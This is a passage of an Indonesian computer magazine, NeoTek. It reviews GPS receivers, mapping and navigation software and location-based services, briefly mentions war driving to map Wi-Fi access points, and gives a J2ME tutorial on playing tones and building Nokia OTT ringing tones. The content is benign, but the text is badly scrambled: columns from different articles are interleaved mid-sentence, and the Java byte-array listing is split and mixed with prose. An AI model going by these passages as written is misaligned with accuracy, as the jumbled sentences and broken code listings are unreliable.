inisialisasi data dengan koordinat tiga dimensi yang sudah
diperoleh sebelumnya.
Warm start serupa dengan hot start, hanya ephemerides data
dihilangkan.

Aplikasi GPS
Segala hal yang berhubungan dengan tempat dan waktu
dapat ditentukan dengan GPS. Selain menetapkan posisi kita
di atas bumi, GPS juga memungkinkan kita mensinkronisasi
waktu sampai ketepatan nanodetik.
Walaupun anda belum mempunyai GPS receiver sendiri,
bukan halangan bagi anda untuk mempelajarinya, membuat
percobaan, maupun mendapat manfaat darinya.
CD NeoTek kali ini menyediakan software GPS Viewer
yang berguna untuk memproses sinyal yang diperoleh dari
satelit dan menetapkan posisi anda di bumi, selain juga
kecepatan dan arah gerakan anda apabila anda membawa
GPS receiver berjalan atau berkendara. GPS Viewer yang
disediakan berjalan pada PC maupun Pocket PC (instalasi di
PC dan bila ada Pocket PC yang terhubung pada craddle,
maka software ini akan secara otomatis terinstalasi pula pada
Pocket PC). Berjalan baik pada Pocket PC yang menggunakan
prosesor lama SH3 dan MIPS maupun ARM yang terbaru.
Sistem WAAS di Amerika menggunakan beberapa stasiun bumi
untuk menghasilkan informasi terkoreksi terhadap data GPS Apabila GPS Viewer tidak dapat menghasilkan apa-apa tanpa
untuk kawasan Amerika Utara. Sistem yang serupa di Eropa GPS receiver, maka NMEA Time adalah softare yang dapat
dikenal sebagai EGNOS. digunakan untuk mensinkronisasi jam komputer anda
sampai ketepatan nano-detik melalui GPS yang langsung
terpasang pada komputer anda atau (bila tidak mempunyai
Cold Start, Warm Start, Hot Start GPS receiver) melalui atomic clock server yang dapat
diakses melalui Internet.
Pada saat GPS receiver belum pernah digunakan, akan di-
perlukan waktu cukup lama (beberapa jam ‘dijemur’ de- VisualGPS 3.3 dapat digunakan untuk menampilkan NMEA
ngan antena menghadap ke langit). Ini dikarenakan pada sentences secara grafik. Software ini selain dapat dijalankan
memori GPS receiver belum ada data apa-apa. Hal ini bersama GPS receiver terhubung pada port serial, dapat juga
sama dengan Cold Start yang akan menghapus semua dijalankan menggunakan log file emiulasi yang disediakan.
memori baik itu position, almanac, ephemerides (data orbit Cara terbaik untuk meng-capture data GPS secara virtual
satelit), waktu, dan clock drift. apabila anda belum mempunyai GPS receiver sendiri.

Sinkronisasi Waktu dengan NMEA Time

JALANKAN NMEA TIME


10 Setelah instalasi, jalankan NMEA Time dengan
double click icon pada desktop. Tampil pilihan
Synchronize to GPS atau Synchronize to a network
time server. Bila belum mempunyai GPS receiver
pilih yang kedua. Kita akan membahas yang
pertama. Klik OK pada pilihan kita dan muncul
NMEATime Help. Tutup saja. Double click icon
NMEA Time pada task bar dan NMEA Time
Properties yang dapat disesuaikan atau diamati.

Vol. IV No. 03 NeoTek 9


NeoStart

GPS Map HandyMAP, KingMAP, MapKing, dan PaPaGO!


Kali ini kita tidak akan membahas cara membuat peta GPS Kelompok beberapa perusahaan ini mengembangkan peta
ataupun melakukan navigasi menggunakan software GPS, GPS untuk beberapa wilayah seperti AS dan Eropa (King-
malainkan langsung ke aplikasi praktisnya saja. MAP), Afrika Selatan (HandyMAP), HongKong (Map-
King), China (MapKing LeadStar), dan Taiwan (PaPaGO!)
Microsoft MapPoint dan Pocket Street
HandyMAP adalah peta elektronik yang mendukung GPS
Salah satu aplikasi terbaik justru datang dari Microsoft da-
dan berjalan pada PC maupun Pocket PC. Software ini gra-
lam bentuk salah satu komponen Microsoft Office yang ti-
tis, tetapi peta elektroniknya yang harus dibeli. Pada CD
dak banyak dikenal orang, Microsoft MapPoint.
NeoTek disediakan HandyMAP dengan contoh peta kota
Karena keterbatasan tempat, CD NeoTek tidak mungkin Gauteng, Afrika Selatan.
menyertakan MapPoint yang tersedia dalam 2 CD, yaitu
KingMAP Singapore (SGD169) yang disediakan dalam CD
MapPoint dan peta dunia dengan detail jalan di kota-kota
NeoTek kali ini merupakan trial version 5 hari yang hanya
Amerika Utara. Anda dapat mencari sendiri software ini
berjalan pada Pocket PC (SH3, MIPS, maupun ARM) dan
atau memesan trial version 60 hari dari Microsoft.
dapat digunakan untuk navigasi seperti mencari lokasi mau-
Peta dari Microsoft MapPoint mendukung GPS dan de- pun membentuk route, walaupun tidak menggunakan GPS.
ngannya anda dapat menentukan waypoint (jambatan, Kalau menggunakan GPS tentunya akan lebih bermanfaat
gerbang masuk, dan lainnya) maupun route dengan me- lagi. NeoTek sudah mencobanya di jalan-jalan Singapura
netapkan start point, end point, dan kalau perlu beberapa dan ketelitiannya lumayan.
stop points di antaranya.
MAPKing yang juga disediakan merupakan trial version
MapPoint akan membentuk route secara otomatis untuk dengan peta lengkap kota HongKong, yang sayangnya se-
anda maupun mensimulasi pergerakan mobil anda melalui mua menggunakan Huruf Kanji.
route itu.
Yang menginginkan peta Jawa-Bali dapat menghubungi
Peta dari MapPoint dapat di-save sebagai web page mau- NusaMap (w www.nusa.co.id) yang menyediakan peta
pun format Pocket Street untuk dibuka pada Pocket PC. Indonesia untuk Pocket PC dengan harga cukup ekonomis
Pocket Street disediakan pada CD NeoTek kali ini. Rp1.500.000,-

Microsoft MapPoint dan PocketStreet

JALAN-JALAN DI AMERIKA
11 Misalkan kita merencanakan per-
jalanan dari Red Bank, NJ ke bekas
WTC, NY. Klik Red Bank, NJ pilih
Route > Add as Start dan WTC NY
Route > Add as End. Route dibuat
dengan Route > Route Planner > Get
Direction. Untuk mengaktifkan GPS
pilih dari menu Tools > GPS > Track
Position.

10 NeoTek Vol. IV No. 03


NeoStart

Berbagai Software GPS


ntuk yang baru mulai meng- Leadtek WinFast Navigator 1.0.2.0 TomTom GPS 2.08
U gunakan GPS, berikut ini ada-
lah beberapa software berman-
Anda mungkin sudah tahu bahwa
LeadTek adalah produsen video card,
TomTom Navigator adalah GPS map
dan street routing yang banyak dipakai
faat yang disediakan dalam CD NeoTek tetapi mungkin belum banyak yang di Eropa dan dilengkapi dengan GPS
kali ini. Program yang disediakan ber- tahu bahwa LeadTek juga mempro- 2.08 yang kompatibel dengan banyak
jalan pada PC dan/atau Pocket PC serta duksi GPS receiver. jenis GPS receiver, bukan hanya yang
pada Palm OS. Khusus untuk Pocket NMEA atau SiRF generic, melainkan
PC, anda harus memperhatikan apakan WinFast Navigator disediakan untuk
GPS 9531 buatan Leadtek, namun juga merk-merk Garmin, NavMan,
Pocket PC anda menggunakan prosesor Haicom, Emtec, maupun digunakan
SH3, MIPS, atau ARM. pada dasarnya dapat digunakan untuk
GPS receiver generik dengan protokol hanya sebagai simulator.
GPS Receiver Tester NMEA atau SiRF. Apabila digunakan sebagai simulator,
Selain itu dengan WinFast Navigator anda dapat memilih kota mana yang
Untuk menguji apakah GPS receiver akan disimulasikan, termasuk Jakarta.
anda berjalan baik, gunakan tester yang anda dapat men-set port mana saja
pada beberapa jenis dapat juga untuk yang ingin dibuka serta baud rate-nya. Cocok untuk mulai belajar GPS, walau-
men-tweak (utak-atik) GPS receiver Software instalasi memberi pilihan apa- pun anda belum mempunyai GPS re-
anda seperti COM port mana yang ingin kah ingin menginstal WinFast Navi- ceiver sendiri.
dibuka, setting baud rate, GPS protokol gator (PC) atau WinFast Navigator CE
yang ingin digunakan (NMEA atau (pada Pocket PC).
SiRF), atau bahkan merekam log file
dari sinyal GPS yang diterima.
GPS Viewer 1.0.1
Program bawaan Holux GPS receiver
dan built-in dalam KingMAP atau
HandyMAP.
Hanya dapat menerima NMEA sen-
tences dan membaca COM port yang TomTom GPS 2.08 digunakan bersama
terbuka dari COM1 sampai COM10 Holux GM 270 CF, suatu CF GPS receiver.
(tidak bisa diubah). Apabila COM port
yang terbuka di luar itu, maka tweaking
harus dilakukan pada PC (pada Pocket
PC biasanya tidak ada masalah).

TomTom GPS 2.08 selain dapat diguna-


kan untuk berbagai merk GPS receiver,
dapat juga menggunakan Simulator de-
ngan berbagai kota termasuk Jakarta.

Tampilan
Leadtek WinFast GPS Navigator
Navigator GPS navigator adalah peta elektronik
pada PC yang mendukung pemakaian GPS
viewer, jadi pada peta itu terdapat
longitude dan latitude, yang akan
mengenali data serupa yang diperoleh
dengan menjalankan GPS receiver.
KingMAP atau HandyMap mengguna-
kan GPS Viewer sedangkan TomTom
Navigator menggunakan TomTom GPS.
Tampilan GPS Viewer pada PC (atas)
dan pada Pocket PC (bawah) MapPoint dari Microsoft sangat detail
dan merupakan alat untuk membuat
peta sendiri. Namun karena besarnya
Instalasi pada PC dan apabila Pocket hanya berjalan pada PC dan peta yang
PC terhubung lewat craddle pada PC dibuat pada MapPoint dapat di-ekspor
anda (dan ActiveSync sudah diaktif- untuk dibaca pada Pocket Street yang
kan), maka secara otomatis akan ter- berjalan pada Pocket PC.
instalasi juga pada Pocket PC. Tampilan WinFast Navigator CE

Vol. IV No. 03 NeoTek 11


NeoStart

KingMap Singapore
KingMap Singapore berupa trial ver-
sion 5 hari dan berjalan pada Pocket PC.
Seperti biasa, Pocket PC anda sudah PC
terhubung lewat craddle ke PC dan su-
dah dikenali lewat Active Sync.
Instal software ini dengan double click
pada KingMap_SGP.exe dan software
ini akan terinstalasi secara otomatis pada
Pocket PC anda bersama petanya.
Apabila ada masalah dengan petanya,
anda dapat juga menjalankan Map
Manager untuk meng-instal peta yang
ada pada CD (S Singapore1124.km2) ke
Pocket PC anda.

Setelah di-ekspor ke format *.mps untuk


dibaca pada Pocket Street pada Pocket
PC, peta dari MapPoint memang kehi-
Mencari posisi kantor redaksi NeoTek di langan kehalusnya, tetapi tidak kehilangan
Singapore menggunakan Pocket PC detail informasinya. Tampak di sini (bekas)
yang sudah terinstalasi KingMap. Dapat World Trade Center di kota New York.
digunakan tanpa harus mempunyai GPS
receiver.

Pocket Street 2002


Pocket Street 2002 dapat diinstal pada OziExplorer 3.95 metaan sendiri dengan terhubung de-
Pocket PC dan dapat membuka file Instalasi akan membentuk OziExplorer ngan GPS receiver.
*.mps (Pocket Street Map) yang dapat Shareware version serta trial version. OziExplorer juga tersedia untuk Pocket
anda download dari Internet ataupun OziExplorer adalah suatu GPS Mapping PC (OziExplorer CE) dan untuk peme-
membuat sendiri menggunakan Software, artinya anda dapat men-scan taan tiga dimensi (Ozy Explorer 3D).
MapPoint 2002. peta cetakan, mengkonversinya menja-
Sayang setelah diekspor menjadi file di ozf file (gunakan Img2ozf yang juga
*.mps untuk Pocket PC, peta ini kehi- disediakan), membuka file itu dengan
langan kehalusannya seperti yang OziExplorer (PC), dan membuat pe-
anda lihat dari peta New York pada
MapPoint 2002 di PC dan peta yang
sama di Pocket PC.
Pada CD NeoTek kali ini disediakan
Pocket Street 2002, tetapi karena
ukurannya sangat besar, trial version
dari MapPoint 2002 (ada 2 CD) tidak
mungkin disertakan.

OziExplorer 3D, OziExplorer, img2ozf,


dan OziExplorer CE

12 NeoTek Vol. IV No. 03


NeoStart

Navigasi dengan GPS atau LBS?


avigasi dengan GPS memang
N sangat memudahkan kita da-
lam perjalanan, baik di kota-
kota besar dengan dipandu peta kota
elektronik, maupun dalam berpetua-
lang di alam bebas. Di hutan, laut, mau-
pun padang pasi. Dengan mobil, kapal
laut, maupun pesawat terbang.
Tapi semua itu ada biayanya. Mema-
kai laptop mungkin masih bisa bila me-
ngendarai mobil, walaupun dari segi
keamanan kiranya PDA masih lebih Baik network stumbler maupun mini Surabaya. Sayang sampai sekarang
memenuhi syarat. Untuk berpetualang stumbler akan menunjukkan longitu- belum ada operator seluler yang
ke alam bebas tentunya tidak mung- de dan latitude dari access point yang membuka layanan ini.
kin membawa-bawa laptop dan PDA ditemukan selain merekam sinyal dan
harus jadi pilihan. Sebenarnya layanan LBS bisa jauh le-
noise dari access point yang dikenali bih menarik dengan memanfaatkan
Harga PDA Pocket PC yang cukup baik selama program ini dijalankan keda- WAP over GPRS, yang menggunakan
sekitar SGD350 (HP 1930) sedangkan lam log file. XHTML sehingga hansphone dapat
GPS CF receiver (tanpa peta) harga- Log file ini yang kemudian yang di- dengan mudah mem-browse grafik
nya SGD260. Paling tidak anda harus proses dalam GPS mapping software. berbentuk peta kota.
mengeluarkan SGD610 atau sekitar 3
juta rupiah. Di Singapore layanan LBS disediakan
Alternatif GPS: LBS oleh StarVision IT bekerja sama de-
Kalau mau murah-meriah, masih da- ngan operator seluler Starhub dengan
pat menggunakan Pocket PC lama se- LBS (Location Base Service) juga da-
pat digunakan untuk navigasi, khu- layanan Locate.Service yang bukan
perti Cassiopeia E-125 yang RAM- hanya mencari informasi mengenai
nya 32 Mbyte serta menggunakan pro- susnya di kota-kota besar dan di tem-
pat-tempat yang terjangkau oleh te- posisi handphone tertentu, melainkan
sesor MIPS 150 MHz. Di bawah itu juga mencari lokasi properti (untuk
tidak dianjurkan untuk GPS. Harga lepon seluler.
bisnis), point of interest (untuk pari-
Pocket PC sekelas itu sekitar SGD100 Dari namanya diketahui bahwa LBS wisata), pekerjaan (untuk pencari ker-
(tidak sampai 500 ribu rupiah) di pa- adalah jasa yang diberikan oleh ope- ja), advertisement (bagi yang gemar
saran barang bekas atau Yahoo! Auction rator seluler untuk menginformasikan memburu tawaran promosi di Singa-
lokasi handphone dengan nomor ter- pore), asset (untuk perusahaan taksi,
GPS dan Wi-Fi tentu, sejauh handphone itu aktif dan angkutan, dan lainnya), dan tentunga
menerima sinyal dari base station ter- person (mencari posisi handphone
GPS adalah perangkat yang amat pen- dekat.
ting dalam melakukan war driving, tadi).
seperti yang dilakukan oleh PISA di NeoTek pernah membahas percobaan Khusus untuk LBS. Person, biayanya
Hong Kong, yaitu membuat peta ter- LBS yang ditulis oleh Elly Mufidah, SGD5 per bulan dan dibatasi sampai
hadap wi-fi access point yang dapat ST: Location Base Service: SMS 20 kali query. Lebih dari itu dikenakan
diakses sepanjang koridor bisnis di Sebagai Penunjuk Jalan (NeoTek biaya 35 sen per query. Tentunya anda
Hong Kong (dibahas di NeoTek III/8 III/9, Juni/Juli 2003). Percobaan di atas sebelumnya harus menjadi pelanggan
tentang Wireless Hacking). menggunakan jaringan IM3 di kota Starhub dulu.
Alat yang diperlukan adalah laptop
yang dilengkapi GPS receiver serta
program untuk war driving, yaitu
Network Stumbler. Syarat utama lagi
adalah bahwa wi-fi card yang diguna-
kan haruslah Orinoco compatible.
Menggunakan Centrino laptop akan
lebih memudahkan, mengingat Intel
Pro/Wireless LAN 210 38 Mini PCI
adapter yang terdapat pada Centrino
laptop rupanya Orinoco compatible.
Lagi pula slot PCMCIA masih kosong
dan dapat digunakan untuk memasang
GPS receiver. LBS (Location Based
Service) adalah suatu
Cara lain adalah menggunakan Pocket teknik penetapan lokasi
PC yang telah diinstal Mini Stumbler. seperti halnya GPS, tetapi
PDA yang digunakan adalah Pocket berbeda dengan GPS,
PC yang sudah mempunyai built-in menggunakan posisi relatif
wireless, agar CF port-nya dapat di- terhadap base station
pakai oleh GPS CF receiver. seluler, bukan terhadap
satelit.

Vol. IV No. 03 NeoTek 13


NeoStyle

J2M E WI R E LE SS TOO LK IT
Musik dengan MMAPI (1)
Setelah beberapa edisi NeoTek kita mengenal beberapa tool mobile media dan wireless toolkit, kini
Fitrianto Halim (fitriantoh@hotmail.com) mengajak anda masuk ke sisi pemrogramannya.

ADA BAGIAN PERTAMA INI, KITA AKAN BELAJAR MENG-


P gunakan ToneControl yang merupakan salah satu
bagian Mobile Media API (MMAPI). ToneControl
Tabel 1.
Parameter Valid Range Effective Range Default
adalah interface untuk memungkinkan playback dari
sebuah user-defined monotonic tone sequence. tempo_modifier 5<= tempo_modifier <= 127 20bpm to 508bpm 120bpm

Sebuah tone sequence dispesifikasikan sebagai suatu daf- resolution_unit 1<= resolution_unit <= 127 1/1 note to 1/127 note 1/64 note
tar pasangan tone-duration dan user-defined sequence blocks.
block_number 0<= block_number <= 127 - -
Daftar tersebut dipaketkan dalam array dengan tipe byte.
Note 0<= note <= 127 or SILENCE C-1 to G9 or rest -
Method setSequence digunakan untuk memasukkan
sequence tersebut ke ToneControl. Duration 1<= duration <= 127 - -
Sintaks tone sequence dapat dijelaskan dalam notasi Volume 0<= volume <= 100 0% to 100% volume 100%
Augmented BNF (Boks 1.) sedangkan Tabel 1 menunjuk-
kan range yang valid untuk suatu parameter. multiplier 2<= multiplier <= 127 - -

Boks 1.
sequence = version *1tempo_definition *1resolution_definition block_number = byte-value
*block_definition 1*sequence_event ; block_number must be previously defined
; by a full block_definition
version = VERSION version_number
VERSION = byte-value volume_event = SET_VOLUME volume
version_number = 1 ; version # 1 SET_VOLUME = byte-value
volume = byte-value ; new volume
tempo_definition = TEMPO tempo_modifier
TEMPO = byte-value repeat_event = REPEAT multiplier tone_event
tempo_modifier = byte-value REPEAT = byte-value
; multiply by 4 to get the tempo (in bpm) used multiplier = byte-value
; in the sequence. ; number of times to repeat a tone

resolution_definition = RESOLUTION resolution_unit byte-value = -128 - 127


RESOLUTION = byte-value ; the value of each constant and additional
resolution_unit = byte-value ; constraints on each parameter are specified below.

block_definition = BLOCK_START block_number VERSION, TEMPO, RESOLUTION, BLOCK_START, BLOCK_END,


1*sequence_event PLAY_BLOCK SET_VOLUME REPEAT are pre-defined constants.
BLOCK_END block_number
BLOCK_START = byte-value
BLOCK_END = byte-value
block_number = byte-value
; block_number specified in BLOCK_END has to be the
; same as the one in BLOCK_START

sequence_event = tone_event / block_event /


volume_event / repeat_event

tone_event = note duration


note = byte-value ; note to be played
duration = byte-value ; duration of the note

block_event = PLAY_BLOCK block_number


PLAY_BLOCK = byte-value

14 NeoTek Vol. IV No. 03


NeoStyle

Tabel 2.

Note Length Duration, Resolution=64 Duration, Resolution=96


1/1 64 96
¼ 16 24
¼ dotted 24 36
1/8 8 12
1/8 triplets - 8
4/1 REPEAT 4 <note> 64 REPEAT 4 <note> 96

Frekuensi dari nada dapat dikalkulasi dengan formula


berikut:
SEMITONE_CONST = 17.31234049066755 = 1/(ln(2^(1/12)))
note = ln(freq/8.176)*SEMITONE_CONST

Note A = note 69 (0x45) = 440 Hz.


Middle C (C4) dan SILENCE didefinisikan sebagai konstanta.

Durasi dari tone diukur dalam satuan dari 1/resolution


notes dan tempo dispesifikasikan dalam beats/minute,
dimana 1 beat = 1/4 not. Karena nilai range positif dari
tipe byte adalah 1 - 127, maka tempo dibentuk dengan
mengali tempo modifier dengan 4. Range dari tempo
modifier adalah 5 - 127 yang akan menghasilkan tempo
Gambar 2 dan 3.
dengan range 20 - 508 bpm.
Untuk menghitung durasi efektif dalam milisecond untuk
tone, dapat dipergunakan formula berikut:
duration * 60 * 1000 * 4 / (resolution * tempo)
Contoh
Tabel 2 adalah daftar sejumlah durasi yang umum dalam
notasi musik. Sebagai contoh, penulis akan mengajak Anda membuat
sebuah aplikasi MIDP yang akan memainkan lagu
Bintang Kecil dengan memanfaatkan ToneControl ini.
Lagu "Bintang Kecil" memiliki notasi sebagai berikut:
G4 E5 D5 C5 - B4 D5 C5 B4 A4 G4
A4 B4 C5 G4 - C5 E5 G5 E5 C5 D5
G5 E5 D5 E5 - E5 G5 E5 D5 C5 A4
A4 C5 A4 G4 - E5 E5 D5 A4 B4 C5
Jangan lupa meng-copy device Nokia Seri 60 dari Nokia
Developer's Suite for J2ME ke J2ME Wireless Toolkit
untuk mempermudah pembuatan aplikasi MIDP-nya.
Sekalipun Nokia Developer's Suite for J2ME juga dapat
mengemulasi aplikasi MIDP, penulis sendiri memilih
untuk menggunakan J2ME Wireless Toolkit (menu J2ME
Wireless Toolkit 1.0.4_01 > Run MIDP Application ...),
karena resource memory yang dipergunakan lebih kecil.
Hal-hal lainnya, seperti memilih device sebagai default,
compile, package dan lain-lain sama saja. Sehingga kalau
masih tidak jelas, sebaiknya Anda membaca lagi artikel
edisi sebelumnya tentang J2ME Wireless Toolkit.
Tampilan dari proyek sederhana ini seperti yang ditam-
pilkan pada Gambar 2 dan Gambar 3.

Penutup
Pada bagian kedua, kita akan belajar yang lebih seru lagi,
yaitu belajar cara menciptakan format Nokia ringing tone
(OTT) dan memainkannya menggunakan MMAPI.
Selamat mencoba...
Gambar 1.

Vol. IV No. 03 NeoTek 15


NeoStyle

J2M E WI R E LE SS TOO LK IT
Musik dengan MMAPI (2)
Fitrianto Halim (fitriantoh@hotmail.com) melanjutkan bahasan pemrograman dengan J2mE Wireless
Toolkit. Kali ini membuat ringing tone dengan Java.

ETELAH PADA BAGIAN PERTAMA KITA TELAH BELAJAR Untuk menggunakannya, pe-
S menggunakan ToneControl yang merupakan salah
satu bagian dari Mobile Media API (MMAPI), kini
nulis telah membuat sebuah
aplikasi MIDP sederhana ber-
kita akan belajar bagaimana membuat dan/atau mengkon- nama TestOTT dan jangan
versi ke format Nokia ringing tone (OTT) dan memain- lupa untuk menyimpan file
kannya menggunakan MMAPI. TestOTT.ott di folder res
Penjelasan tentang format Nokia ringing tone bisa dibaca (singkatan dari resource).
di: Smart Messaging Specification, Revision 3.0.0 (di- Jika kita perhatikan, cukup
download di: mudah sebenarnya cara mem-
http://www.forum.nokia.com/ndsCookieBuilder?fileParamID=1029) buat file berformat Nokia
ringing tone (OTT) ini.
terutama pada bagian 3.6 RINGING TONES dan contoh-
nya bisa dilihat pada bagian 5.1.5 An example of Ringing Tetapi berhubung penulis
tone format. ingin yang praktis, maka pe-
nulis berusaha mencari cara
Berikut adalah hex dump dari format pesan Ringing tone: lainnya.
02 4A 3A 51 : D1 95 CD D0 : 04 00 1B 20 : 55 05 90 61 Ternyata, Nokia Developer's
05 60 55 85 : 50 54 85 40 : 82 08 49 90 : 00 00 Suite for the J2ME terutama
Data tersebut merupakan hasil encode dari sekumpulan di bagian Audio Converter da-
bit yang dijelaskan pada Tabel 1. pat dimanfaatkan untuk men-
ciptakan file berformat
Ingat, data-data tersebut merupakan nilai heksadesimal Nokia ringing tone (OTT).
(hex dump) dari suatu file biner. Anda bisa menggunakan
Java untuk meng-create file biner, tetapi berhubung pe- Seperti kita ketahui, Audio
nulis agak malas :) , maka penulis membuat script seder- Converter dapat mengkon-
hana yang dapat dijalankan dengan DEBUG (file test.scr) versi file berformat MIDI
dimana “source-code”-nya adalah sebagai berikut: (*.mid, *.smf, *.midi) dan/
atau Ringing Tone XML (*.xml) ke format Over the Air
e100 02 4A 3A 51 D1 95 CD D0 04 00 1B 20 55 05 90 61 audio (*.txt), Bytes source (*.java) dan/atau Ringing Tone
e110 05 60 55 85 50 54 85 40 82 08 49 90 00 00 XML (*.xml).
n test.ott
rcx
1e
w
q

Cara penggunaannya sangat sederhana, pada MS-DOS


prompt ketikkan comand-line berikut:
DEBUG < test.scr

Hasil dari script ini adalah terciptanya file TEST.OTT,


hanya kemudian file TEST.OTT ini penulis rename
menjadi TestOTT.ott.

16 NeoTek Vol. IV No. 03


NeoStyle

Tabel 1.
00000010 <command-length> Number of command part presents
01001010 <ringing-tone-programming> Command part 1 (with filler bit)
0011101 <sound> Command part 2
001 <basic song type>
0100 <song title length> 4 characters (ISO-8859-1)
01110100 the first character 't'
01100101 the second character 'e'
01110011 the third character 's'
01110100 the fourth character 't'
00000001 <song sequence length> 1 song patterns
000 <pattern header> pattern header id
00 <pattern id> A-part
0000 <loop value> no loop
00001101 <pattern specifier> <length of the new pattern> 13 pattern
instructions
100 <tempo instruction id>
10000 <beats per minute> 160 (i.e. length of 1/4 note = 0,38 sec.)
001 <note instruction id>
0101 <note value> note E
010 <note duration> ¼ note
00 <note duration specifier> no special duration
001 <note instruction id>
0110 <note value> note F
010 <note duration> ¼ note
00 <note duration specifier> no special duration
001 <note instruction id>
1000 <note instruction> note G
010 <note duration> ¼ note
00 <note duration specifier> no special duration
001 <note instruction id>
0101 <note value> note E
100 <note duration> 1/16 note
00 <note duration specifier> no special duration Untuk memudahkan pembuatan file berformat Nokia
001 <note instruction id> ringing tone (OTT) ini, pilih dalam ekstensi *.java .
0101 <note value> note E
Sebagai contoh, penulis mengkonversi sebuah file MIDI
011 <note duration> 1/8 note
yang disertakan pada aplikasi Mobile Music Polyphonic
00 <note duration specifier> no special duration
(disertakan pada CD NeoTek Vol. III - No. 09, Jun/Jul
001 <note instruction id>
2003) dan kemudian disimpan ke file MalamKudus.java.
0101 <note value> note E
010 <note duration> ¼ note Karena file tersebut tidak lengkap, maka isi file tersebut
00 <note duration specifier> no special duration dipakai untuk membuat file createOTT.java dengan
001 <note instruction id> “source-code”-nya adalah sebagai berikut:
0101 <note value> note E import java.io.*;
001 <note duration> ½ note public class createOTT {
00 <note duration specifier> no special duration public static void main(String args[]) {
001 <note instruction id> byte[] data = {
0101 <note value> note E (byte)0x02, (byte)0x4a, (byte)0x3a, (byte)0x40,
000 <note duration> full note (byte)0x04, (byte)0x01, (byte)0x57, (byte)0x16,
00 <note duration specifier> no special duration (byte)0x6d, (byte)0x05, (byte)0x90, (byte)0x4d,
010 <scale instruction id> (byte)0x05, (byte)0x92, (byte)0x51, (byte)0x84,
(byte)0x50, (byte)0x83, (byte)0x61, (byte)0x49,
00 <note scale> Scale-1 (i.e. Note A is 440 Hz)
(byte)0x64, (byte)0x98, (byte)0x61, (byte)0x64,
001 <note instruction id>
(byte)0x13, (byte)0x29, (byte)0x64, (byte)0x98,
0000 <note value> Pause
(byte)0x61, (byte)0x64, (byte)0x13, (byte)0x2a,
010 <note duration> ¼ note (byte)0x88, (byte)0x90, (byte)0x8a, (byte)0x12,
00 <note duration specifier> no special duration (byte)0x68, (byte)0xa6, (byte)0xc8, (byte)0x6d,
010 <scale instruction id> (byte)0x05, (byte)0x8a, (byte)0x60, (byte)0x86,
01 <note scale> Scale-2 (i.e.Note A is 880 Hz),default (byte)0x10, (byte)0x6d, (byte)0x26, (byte)0x98,
001 <note instruction id> (byte)0x61, (byte)0x05, (byte)0x92, (byte)0x61,
1001 <note value> Gis i.e. As' (byte)0x85, (byte)0x90, (byte)0x4c, (byte)0xa6,
000 <note duration> full note (byte)0x08, (byte)0x61, (byte)0x06, (byte)0xd2,
00 <note duration specifier> no special duration (byte)0x69, (byte)0x86, (byte)0x10, (byte)0x59,
0000000 filler bits (byte)0x26, (byte)0x18, (byte)0x59, (byte)0x04,
00000000 <command end> The end of the ringing tone data (byte)0xca, (byte)0xa2, (byte)0x24, (byte)0x22,
(byte)0x82, (byte)0x89, (byte)0x22, (byte)0xc4,
(byte)0x9a, (byte)0x41, (byte)0xb2, (byte)0xa8,

Vol. IV No. 03 NeoTek 17


NeoStyle

(byte)0x99, (byte)0x52, (byte)0x6d, (byte)0x05, (byte)0x51, (byte)0x84,


(byte)0x90, (byte)0x4d, (byte)0x05, (byte)0x92, (byte)0x50, (byte)0x83,
(byte)0x51, (byte)0x84, (byte)0x50, (byte)0x83, (byte)0x61, (byte)0x00
(byte)0x61, (byte)0x49, (byte)0x64, (byte)0x98, };
(byte)0x61, (byte)0x64, (byte)0x13, (byte)0x29, if(args.length < 1) {
(byte)0x64, (byte)0x98, (byte)0x61, (byte)0x64,
(byte)0x13, (byte)0x2a, (byte)0x88, (byte)0x90, System.out.println("Pemakaian:
java createOTT filename.ott");
(byte)0x8a, (byte)0x12, (byte)0x68, (byte)0xa6,
} else {
(byte)0xc8, (byte)0x6d, (byte)0x05, (byte)0x8a,
try {
(byte)0x60, (byte)0x86, (byte)0x10, (byte)0x6d,
FileOutputStream fos = new
(byte)0x26, (byte)0x98, (byte)0x61, (byte)0x05,
FileOutputStream(args[0], true);
(byte)0x92, (byte)0x61, (byte)0x85, (byte)0x90,
fos.write(data);
(byte)0x4c, (byte)0xa6, (byte)0x08, (byte)0x61,
fos.close();
(byte)0x06, (byte)0xd2, (byte)0x69, (byte)0x86,
} catch(IOException ioe) {}
(byte)0x10, (byte)0x59, (byte)0x26, (byte)0x18,
}
(byte)0x59, (byte)0x04, (byte)0xca, (byte)0xa2,
}
(byte)0x24, (byte)0x22, (byte)0x82, (byte)0x89,
}
(byte)0x22, (byte)0xc4, (byte)0x9a, (byte)0x41,
(byte)0xb2, (byte)0xa8, (byte)0x99, (byte)0x52, Untuk meng-compile-nya,
(byte)0x6d, (byte)0x05, (byte)0x90, (byte)0x4d, Anda dapat mengetikkan
(byte)0x05, (byte)0x92, (byte)0x51, (byte)0x84, command-line berikut pada
(byte)0x50, (byte)0x83, (byte)0x61, (byte)0x49, MS-DOS prompt:
(byte)0x64, (byte)0x98, (byte)0x61, (byte)0x64, javac createOTT.java
(byte)0x13, (byte)0x29, (byte)0x64, (byte)0x98,
(byte)0x61, (byte)0x64, (byte)0x13, (byte)0x2a, Sedangkan untuk
(byte)0x88, (byte)0x90, (byte)0x8a, (byte)0x12, menjalankannya, Anda dapat
(byte)0x68, (byte)0xa6, (byte)0xc8, (byte)0x6d, mengetikkan command-line
(byte)0x05, (byte)0x8a, (byte)0x60, (byte)0x86, berikut:
(byte)0x10, (byte)0x6d, (byte)0x26, (byte)0x98,
java createOTT MalamKudus.ott
(byte)0x61, (byte)0x05, (byte)0x92, (byte)0x61,
(byte)0x85, (byte)0x90, (byte)0x4c, (byte)0xa6, dimana hasilnya adalah file "MalamKudus.ott".
(byte)0x08, (byte)0x61, (byte)0x06, (byte)0xd2,
Untuk menggunakannya, penulis telah membuat sebuah
(byte)0x69, (byte)0x86, (byte)0x10, (byte)0x59,
aplikasi MIDP sederhana yang bernama "MalamKudus"
(byte)0x26, (byte)0x18, (byte)0x59, (byte)0x04,
(byte)0xca, (byte)0xa2, (byte)0x24, (byte)0x22,
dan jangan lupa untuk menyimpan file
(byte)0x82, (byte)0x89, (byte)0x22, (byte)0xc4,
"MalamKudus.ott" di folder "res" (singkatan dari
(byte)0x9a, (byte)0x41, (byte)0xb2, (byte)0xa8, resource).
(byte)0x99, (byte)0x52, (byte)0x6d, (byte)0x05, Selamat mencoba..
(byte)0x90, (byte)0x4d, (byte)0x05, (byte)0x92,

Playback Video dengan Multi Media API


MOBILE MEDIA
ETELAH KITA BELAJAR BERMAIN MUSIK DENGAN hasil konversi dengan kemampuan memory dari ponsel Nokia
